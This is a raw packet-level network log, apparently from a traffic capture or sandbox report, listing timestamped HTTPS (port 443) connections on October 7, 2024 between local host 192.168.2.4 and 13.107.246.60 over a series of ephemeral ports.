Oct 7, 2024 03:04:16.224173069 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.224185944 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.283471107 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.283545017 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.283622026 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.283646107 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.283674955 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.283847094 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.283873081 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.283889055 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.283889055 CEST	49884	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.283899069 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.283906937 CEST	443	49884	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.286283970 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.286344051 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.286425114 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.286647081 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.286678076 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.327833891 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.327917099 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.328043938 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.328274965 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.328275919 CEST	49885	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.328305960 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.328327894 CEST	443	49885	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.331139088 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.331167936 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.331259966 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.331439972 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.331460953 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.343007088 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.343381882 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.343416929 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.343811035 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.343826056 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.442873001 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.443047047 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.443177938 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.443257093 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.443257093 CEST	49886	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.443298101 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.443327904 CEST	443	49886	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.445873976 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.445913076 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.445985079 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.446114063 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.446121931 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.609966040 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.610506058 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.610527039 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.610960960 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.610966921 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.632389069 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.633941889 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.633953094 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.634318113 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.634324074 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.707731962 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.707822084 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.708031893 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.708060980 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.708077908 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.708090067 CEST	49887	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.708096981 CEST	443	49887	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.710937977 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.711008072 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.711102962 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.711306095 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.711338997 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.730880976 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.731040955 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.731108904 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.731142998 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.731158018 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.731173992 CEST	49888	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.731179953 CEST	443	49888	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.733292103 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.733321905 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.733402014 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.733532906 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.733550072 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.945489883 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.946054935 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.946098089 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.946472883 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.946485043 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.970889091 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.971354008 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.971400023 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:16.971970081 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:16.971981049 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.047019958 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.047375917 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.047487974 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.049830914 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.049832106 CEST	49889	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.049897909 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.049905062 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.049932003 CEST	443	49889	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.049947023 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.050012112 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.050215006 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.050226927 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.070432901 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.070682049 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.070760012 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.070811987 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.070833921 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.070858002 CEST	49890	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.070872068 CEST	443	49890	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.073314905 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.073383093 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.073467016 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.073630095 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.073658943 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.085458040 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.085819960 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.085840940 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.086253881 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.086261034 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.189652920 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.189858913 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.189941883 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.189990044 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.190006971 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.190020084 CEST	49891	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.190026045 CEST	443	49891	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.192497015 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.192521095 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.192605972 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.192744970 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.192754030 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.347647905 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.348104000 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.348128080 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.348557949 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.348570108 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.382759094 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.383193016 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.383217096 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.383528948 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.383537054 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.446403980 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.446587086 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.446640015 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.446645021 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.446695089 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.446748018 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.446769953 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.446794033 CEST	49892	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.446825027 CEST	443	49892	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.449070930 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.449109077 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.449172974 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.449294090 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.449302912 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.481014967 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.481245041 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.481350899 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.481801987 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.481801987 CEST	49893	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.481812000 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.481818914 CEST	443	49893	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.483320951 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.483338118 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.483414888 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.483524084 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.483532906 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.747684002 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.748217106 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.748231888 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.748683929 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.748689890 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.755522966 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.755796909 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.755830050 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.756113052 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.756124973 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.848192930 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.848377943 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.848450899 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.848679066 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.848690987 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.848702908 CEST	49894	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.848707914 CEST	443	49894	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.851728916 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.851749897 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.851836920 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.851999044 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.852009058 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.860347986 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.860630035 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.860688925 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.860733986 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.860733986 CEST	49895	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.860759020 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.860780954 CEST	443	49895	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.862596035 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.862665892 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.862751007 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.862884045 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.862915039 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.867201090 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.867543936 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.867549896 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.867975950 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.867980003 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.974543095 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.974600077 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.974651098 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.974658966 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.974869013 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.974929094 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.976000071 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.976008892 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.976016998 CEST	49896	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.976022959 CEST	443	49896	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.979844093 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.979888916 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:17.979964018 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.980180979 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:17.980197906 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.136809111 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.137231112 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.137242079 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.137809992 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.137814999 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.167311907 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.168021917 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.168034077 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.168814898 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.168819904 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.239219904 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.239473104 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.239518881 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.239531040 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.239547014 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.239592075 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.239660978 CEST	49897	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.239674091 CEST	443	49897	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.242630005 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.242702007 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.242788076 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.242919922 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.242937088 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.270881891 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.270952940 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.270998955 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.271009922 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.271064043 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.271102905 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.271374941 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.271398067 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.271409988 CEST	49898	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.271414995 CEST	443	49898	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.274056911 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.274142027 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.274211884 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.274339914 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.274364948 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.500713110 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.501260042 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.501276016 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.501667976 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.501673937 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.542788029 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.543162107 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.543221951 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.543657064 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.543670893 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.719810009 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.719971895 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.720035076 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.720144987 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.720159054 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.720169067 CEST	49899	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.720174074 CEST	443	49899	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.723036051 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.723123074 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.723225117 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.723413944 CEST	49904	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.723439932 CEST	443	49904	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.726919889 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.727288008 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.727335930 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.727715969 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.727729082 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.820023060 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.820404053 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.820442915 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.820481062 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.820552111 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.820552111 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.820591927 CEST	49900	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.820627928 CEST	443	49900	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.822885990 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.822966099 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.823062897 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.823200941 CEST	49905	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.823232889 CEST	443	49905	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.831435919 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.831610918 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.831677914 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.831753969 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.831753969 CEST	49901	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.831794024 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.831820011 CEST	443	49901	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.833802938 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.833822966 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.833918095 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.834028006 CEST	49906	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.834047079 CEST	443	49906	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.903465986 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.903867006 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.903908014 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.904246092 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.904258013 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.928704023 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.929137945 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.929219007 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:18.929632902 CEST	49903	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:18.929646969 CEST	443	49903	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.002557039 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.002583981 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.002654076 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.002698898 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.002877951 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.002877951 CEST	49902	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.002898932 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.002933979 CEST	443	49902	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.005114079 CEST	49907	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:19.005135059 CEST	443	49907	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:19.005232096 CEST	49907	443	192.168.2.4	13.107.246.60
